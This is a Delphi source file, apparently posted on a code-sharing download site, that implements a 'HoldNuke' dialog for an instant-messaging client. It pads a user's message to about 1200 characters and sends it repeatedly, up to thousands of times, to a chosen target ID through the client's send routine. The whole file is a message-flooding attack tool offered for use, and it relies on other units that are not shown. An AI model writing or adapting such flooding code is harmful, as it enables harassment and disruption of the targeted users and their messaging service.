HoldNuke.pas
上传用户:hbtcygglw
上传日期:2007-01-07
资源大小:281k
文件大小:2k
源码类别:

其他

开发平台:

Delphi

  1. unit HoldNuke;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   StdCtrls, Buttons, Spin, ComCtrls;
  6. type
  7.   THoldNukeDlg = class(TForm)
  8.     Label1: TLabel;
  9.     edTargetID: TEdit;
  10.     Label2: TLabel;
  11.     Label8: TLabel;
  12.     edSendNum: TSpinEdit;
  13.     edMsg: TEdit;
  14.     btnOk: TBitBtn;
  15.     btnCancel: TBitBtn;
  16.     Label3: TLabel;
  17.     NukeBar: TProgressBar;
  18.     procedure btnOkClick(Sender: TObject);
  19.   private
  20.     { Private declarations }
  21.     function PadNukeMsg(msg:string;len:Integer):string;
  22.   public
  23.     { Public declarations }
  24.     class function Execute(strTargetId,strMsg:string;nLookCnt:Integer):Boolean;
  25.   end;
  26. implementation
  27. {$R *.DFM}
  28. { THoldNukeDlg }
  29. uses main,data;
  30. class function THoldNukeDlg.Execute(strTargetId, strMsg: string;
  31.   nLookCnt: Integer): Boolean;
  32. begin
  33. with THoldNukeDlg.Create(Application) do
  34.     begin
  35.     Result:=(ShowModal=mrOk);
  36.     Free;
  37.     end;
  38. end;
  39. procedure THoldNukeDlg.btnOkClick(Sender: TObject);
  40. var
  41. NukeMsg:string;
  42. i:Integer;
  43. begin
  44. NukeMsg:=PadNukeMsg(edMsg.Text,1200);
  45. if(edSendNum.Value<=50)then
  46.     begin
  47.     NukeBar.Max:=edSendNum.Value;
  48.     NukeBar.Step:=1;
  49.     NukeBar.Position:=0;
  50.     end
  51. else if((edSendNum.Value>50) and (edSendNum.Value<=500))then
  52.     begin
  53.     NukeBar.Max:=edSendNum.Value;
  54.     NukeBar.Step:=10;
  55.     NukeBar.Position:=0;
  56.     end
  57. else if((edSendNum.Value>500) and (edSendNum.Value<10000))then
  58.     begin
  59.     NukeBar.Max:=edSendNum.Value;
  60.     NukeBar.Step:=50;
  61.     NukeBar.Position:=0;
  62.     end
  63. else begin
  64.     NukeBar.Max:=edSendNum.Value;
  65.     NukeBar.Step:=100;
  66.     NukeBar.Position:=0;
  67.     end;
  68. for i:=0 to edSendNum.Value do
  69.     begin
  70.     MainForm.SendMsg(edTargetId.Text,NukeMsg);
  71.     if((i mod Nukebar.Step)=1)then NukeBar.StepIt;
  72.     Application.ProcessMessages;
  73.     Sleep(50); 
  74.     end;
  75. NukeBar.Position:=NukeBar.Max;
  76. end;
  77. function THoldNukeDlg.PadNukeMsg(msg: string;len:Integer): string;
  78. var
  79. i,l:Integer;
  80. begin
  81. l:=Length(msg);
  82. Result:='';
  83. if(l<len)then
  84.     begin
  85.     for i:=0 to (len div l) do
  86.         begin
  87.         Result:=Result+msg;
  88.         end;
  89.     end
  90. else Result:=msg;
  91. end;
  92. end.